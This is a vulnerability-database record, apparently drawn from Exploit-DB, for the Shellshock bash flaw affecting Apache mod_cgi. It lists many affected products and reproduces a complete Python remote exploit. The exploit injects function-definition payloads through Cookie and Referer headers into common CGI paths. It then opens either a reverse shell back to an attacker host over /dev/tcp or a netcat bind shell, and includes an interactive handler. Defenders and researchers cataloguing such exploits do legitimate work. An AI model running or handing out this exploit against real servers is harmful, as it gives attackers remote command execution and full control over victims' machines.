ID
VAR-E-201409-0561
CVE
cve_id: | CVE-2014-6278 | Trust: 1.0 |
cve_id: | CVE-2014-6271 | Trust: 1.0 |
cve_id: | CVE-2014-6277 | Trust: 0.3 |
EDB ID
34900
TITLE
Apache mod_cgi - 'Shellshock' Remote Command Injection - Linux remote Exploit
Trust: 1.0
DESCRIPTION
Apache mod_cgi - 'Shellshock' Remote Command Injection. CVE-2014-6278CVE-2014-6271 . remote exploit for Linux platform
Trust: 1.0
AFFECTED PRODUCTS
vendor: | apache | model: | mod cgi | scope: | - | version: | - | Trust: 1.0 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5 | Trust: 0.6 |
vendor: | xerox | model: | workcentre | scope: | eq | version: | 7245 | Trust: 0.3 |
vendor: | xerox | model: | workcentre | scope: | eq | version: | 7242 | Trust: 0.3 |
vendor: | xerox | model: | workcentre | scope: | eq | version: | 7238 | Trust: 0.3 |
vendor: | xerox | model: | workcentre | scope: | eq | version: | 7235 | Trust: 0.3 |
vendor: | xerox | model: | workcentre | scope: | eq | version: | 7232 | Trust: 0.3 |
vendor: | xerox | model: | workcentre | scope: | eq | version: | 7228 | Trust: 0.3 |
vendor: | xerox | model: | phaser | scope: | eq | version: | 78000 | Trust: 0.3 |
vendor: | xerox | model: | phaser | scope: | eq | version: | 67000 | Trust: 0.3 |
vendor: | xerox | model: | colorqube | scope: | eq | version: | 9393 | Trust: 0.3 |
vendor: | xerox | model: | colorqube | scope: | eq | version: | 9303 | Trust: 0.3 |
vendor: | xerox | model: | colorqube | scope: | eq | version: | 9302 | Trust: 0.3 |
vendor: | xerox | model: | colorqube | scope: | eq | version: | 9301 | Trust: 0.3 |
vendor: | ubuntu | model: | linux lts i386 | scope: | eq | version: | 12.04 | Trust: 0.3 |
vendor: | ubuntu | model: | linux lts amd64 | scope: | eq | version: | 12.04 | Trust: 0.3 |
vendor: | ubuntu | model: | linux sparc | scope: | eq | version: | 10.04 | Trust: 0.3 |
vendor: | ubuntu | model: | linux powerpc | scope: | eq | version: | 10.04 | Trust: 0.3 |
vendor: | ubuntu | model: | linux i386 | scope: | eq | version: | 10.04 | Trust: 0.3 |
vendor: | ubuntu | model: | linux arm | scope: | eq | version: | 10.04 | Trust: 0.3 |
vendor: | ubuntu | model: | linux amd64 | scope: | eq | version: | 10.04 | Trust: 0.3 |
vendor: | sun | model: | solaris | scope: | eq | version: | 11 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux client | scope: | eq | version: | 5 | Trust: 0.3 |
vendor: | red | model: | hat enterprise linux workstation | scope: | eq | version: | 6 | Trust: 0.3 |
vendor: | red | model: | hat enterprise linux server | scope: | eq | version: | 6 | Trust: 0.3 |
vendor: | red | model: | hat enterprise linux long life server | scope: | eq | version: | 5.6 | Trust: 0.3 |
vendor: | red | model: | hat enterprise linux hpc node | scope: | eq | version: | 6 | Trust: 0.3 |
vendor: | red | model: | hat enterprise linux server | scope: | eq | version: | 5 | Trust: 0.3 |
vendor: | oracle | model: | vm virtualbox | scope: | eq | version: | 3.2 | Trust: 0.3 |
vendor: | oracle | model: | vm virtualbox | scope: | eq | version: | 3.1 | Trust: 0.3 |
vendor: | oracle | model: | linux | scope: | eq | version: | 5 | Trust: 0.3 |
vendor: | oracle | model: | enterprise linux | scope: | eq | version: | 6.2 | Trust: 0.3 |
vendor: | oracle | model: | enterprise linux | scope: | eq | version: | 6 | Trust: 0.3 |
vendor: | oracle | model: | enterprise linux | scope: | eq | version: | 5 | Trust: 0.3 |
vendor: | mcafee | model: | email gateway patch | scope: | eq | version: | 7.01 | Trust: 0.3 |
vendor: | mcafee | model: | email gateway | scope: | eq | version: | 7.0 | Trust: 0.3 |
vendor: | mcafee | model: | email gateway hotfix | scope: | eq | version: | 6.7.22 | Trust: 0.3 |
vendor: | mcafee | model: | email gateway hotfix | scope: | eq | version: | 6.7.21 | Trust: 0.3 |
vendor: | ibm | model: | ds8000 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | ibm | model: | aix | scope: | eq | version: | 7.1 | Trust: 0.3 |
vendor: | ibm | model: | aix | scope: | eq | version: | 6.1 | Trust: 0.3 |
vendor: | ibm | model: | aix | scope: | eq | version: | 5.3 | Trust: 0.3 |
vendor: | hp | model: | insight control | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | gnu | model: | bash | scope: | eq | version: | 3.1.4 | Trust: 0.3 |
vendor: | gnu | model: | bash | scope: | eq | version: | 3.0.16 | Trust: 0.3 |
vendor: | gnu | model: | bash | scope: | eq | version: | 4.2 | Trust: 0.3 |
vendor: | gnu | model: | bash | scope: | eq | version: | 4.1 | Trust: 0.3 |
vendor: | gnu | model: | bash rc1 | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | gnu | model: | bash | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | gnu | model: | bash | scope: | eq | version: | 3.2.48 | Trust: 0.3 |
vendor: | gnu | model: | bash | scope: | eq | version: | 3.2 | Trust: 0.3 |
vendor: | gnu | model: | bash | scope: | eq | version: | 3.00.0(2) | Trust: 0.3 |
vendor: | gnu | model: | bash | scope: | eq | version: | 3.0 | Trust: 0.3 |
vendor: | gentoo | model: | linux | scope: | - | version: | - | Trust: 0.3 |
vendor: | cosmicperl | model: | directory pro | scope: | eq | version: | 10.0.3 | Trust: 0.3 |
vendor: | cisco | model: | wide area application services | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | cisco | model: | unified ip phone | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | cisco | model: | unified contact center express | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | cisco | model: | network analysis module | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | cisco | model: | mds | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | cisco | model: | gss 4492r global site selector | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | cisco | model: | emergency responder | scope: | eq | version: | 1.1 | Trust: 0.3 |
vendor: | cisco | model: | digital media manager | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | cisco | model: | digital media manager | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | cisco | model: | show and share | scope: | eq | version: | 5(2) | Trust: 0.3 |
vendor: | avaya | model: | ip deskphone | scope: | eq | version: | 96x16.2 | Trust: 0.3 |
vendor: | avaya | model: | ip deskphone | scope: | eq | version: | 96x16 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.6.4 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.6.3 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.6.2 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.6.1 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.8 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.7 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.6 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.5 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.4 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.3 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.2 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.1 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.11 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.10 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.9 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.8 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.7 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.6 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.5 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.4 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.3 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.2 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.1 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.3.9 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.3.8 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.3.7 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.3.6 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.3.5 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.3.4 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.3.3 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.3.2 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.3.1 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.3 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.2.8 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.2.7 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.2.6 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.2.5 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.2.4 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.2.3 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.2.2 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.2.1 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.2 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.1.5 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.1.4 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.1.3 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.1.2 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.1.1 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.1 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.0.4 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.0.2 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.0.1 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.03 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.0 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.7.4 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.7.3 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.7.2 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.7.1 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.6 | Trust: 0.3 |
EXPLOIT
#! /usr/bin/env python
from socket import *
from threading import Thread
import thread, time, httplib, urllib, sys
stop = False
proxyhost = ""
proxyport = 0
def usage():
print """
Shellshock apache mod_cgi remote exploit
Usage:
./exploit.py var=<value>
Vars:
rhost: victim host
rport: victim port for TCP shell binding
lhost: attacker host for TCP shell reversing
lport: attacker port for TCP shell reversing
pages: specific cgi vulnerable pages (separated by comma)
proxy: host:port proxy
Payloads:
"reverse" (unix unversal) TCP reverse shell (Requires: rhost, lhost, lport)
"bind" (uses non-bsd netcat) TCP bind shell (Requires: rhost, rport)
Example:
./exploit.py payload=reverse rhost=1.2.3.4 lhost=5.6.7.8 lport=1234
./exploit.py payload=bind rhost=1.2.3.4 rport=1234
Credits:
Federico Galatolo 2014
"""
sys.exit(0)
def exploit(lhost,lport,rhost,rport,payload,pages):
headers = {"Cookie": payload, "Referer": payload}
for page in pages:
if stop:
return
print "[-] Trying exploit on : "+page
if proxyhost != "":
c = httplib.HTTPConnection(proxyhost,proxyport)
c.request("GET","http://"+rhost+page,headers=headers)
res = c.getresponse()
else:
c = httplib.HTTPConnection(rhost)
c.request("GET",page,headers=headers)
res = c.getresponse()
if res.status == 404:
print "[*] 404 on : "+page
time.sleep(1)
args = {}
for arg in sys.argv[1:]:
ar = arg.split("=")
args[ar[0]] = ar[1]
try:
args['payload']
except:
usage()
if args['payload'] == 'reverse':
try:
lhost = args['lhost']
lport = int(args['lport'])
rhost = args['rhost']
payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+str(lport)+" 0>&1 &"
except:
usage()
elif args['payload'] == 'bind':
try:
rhost = args['rhost']
rport = args['rport']
payload = "() { :;}; /bin/bash -c 'nc -l -p "+rport+" -e /bin/bash &'"
except:
usage()
else:
print "[*] Unsupported payload"
usage()
try:
pages = args['pages'].split(",")
except:
pages = ["/cgi-sys/entropysearch.cgi","/cgi-sys/defaultwebpage.cgi","/cgi-mod/index.cgi","/cgi-bin/test.cgi","/cgi-bin-sdb/printenv"]
try:
proxyhost,proxyport = args['proxy'].split(":")
except:
pass
if args['payload'] == 'reverse':
serversocket = socket(AF_INET, SOCK_STREAM)
buff = 1024
addr = (lhost, lport)
serversocket.bind(addr)
serversocket.listen(10)
print "[!] Started reverse shell handler"
thread.start_new_thread(exploit,(lhost,lport,rhost,0,payload,pages,))
if args['payload'] == 'bind':
serversocket = socket(AF_INET, SOCK_STREAM)
addr = (rhost,int(rport))
thread.start_new_thread(exploit,("",0,rhost,rport,payload,pages,))
buff = 1024
while True:
if args['payload'] == 'reverse':
clientsocket, clientaddr = serversocket.accept()
print "[!] Successfully exploited"
print "[!] Incoming connection from "+clientaddr[0]
stop = True
clientsocket.settimeout(3)
while True:
reply = raw_input(clientaddr[0]+"> ")
clientsocket.sendall(reply+"\n")
try:
data = clientsocket.recv(buff)
print data
except:
pass
if args['payload'] == 'bind':
try:
serversocket = socket(AF_INET, SOCK_STREAM)
time.sleep(1)
serversocket.connect(addr)
print "[!] Successfully exploited"
print "[!] Connected to "+rhost
stop = True
serversocket.settimeout(3)
while True:
reply = raw_input(rhost+"> ")
serversocket.sendall(reply+"\n")
data = serversocket.recv(buff)
print data
except:
pass
Trust: 1.0
EXPLOIT LANGUAGE
py
Trust: 1.0
PRICE
free
Trust: 1.0
TYPE
'Shellshock' Remote Command Injection
Trust: 1.0
CREDITS
Federico Galatolo
Trust: 1.0
EXTERNAL IDS
db: | NVD | id: | CVE-2014-6278 | Trust: 1.0 |
db: | NVD | id: | CVE-2014-6271 | Trust: 1.0 |
db: | EXPLOIT-DB | id: | 34900 | Trust: 1.0 |
db: | NVD | id: | CVE-2014-6277 | Trust: 0.3 |
db: | BID | id: | 70165 | Trust: 0.3 |
REFERENCES
url: | https://nvd.nist.gov/vuln/detail/cve-2014-6271 | Trust: 1.0 |
url: | https://nvd.nist.gov/vuln/detail/cve-2014-6278 | Trust: 1.0 |
url: | http://www.gnu.org/software/bash/ | Trust: 0.3 |
SOURCES
db: | BID | id: | 70165 |
db: | EXPLOIT-DB | id: | 34900 |
LAST UPDATE DATE
2023-05-30T11:41:27.180000+00:00
SOURCES UPDATE DATE
db: | BID | id: | 70165 | date: | 2015-10-26T16:51:00 |
SOURCES RELEASE DATE
db: | BID | id: | 70165 | date: | 2014-09-27T00:00:00 |
db: | EXPLOIT-DB | id: | 34900 | date: | 2014-10-06T00:00:00 |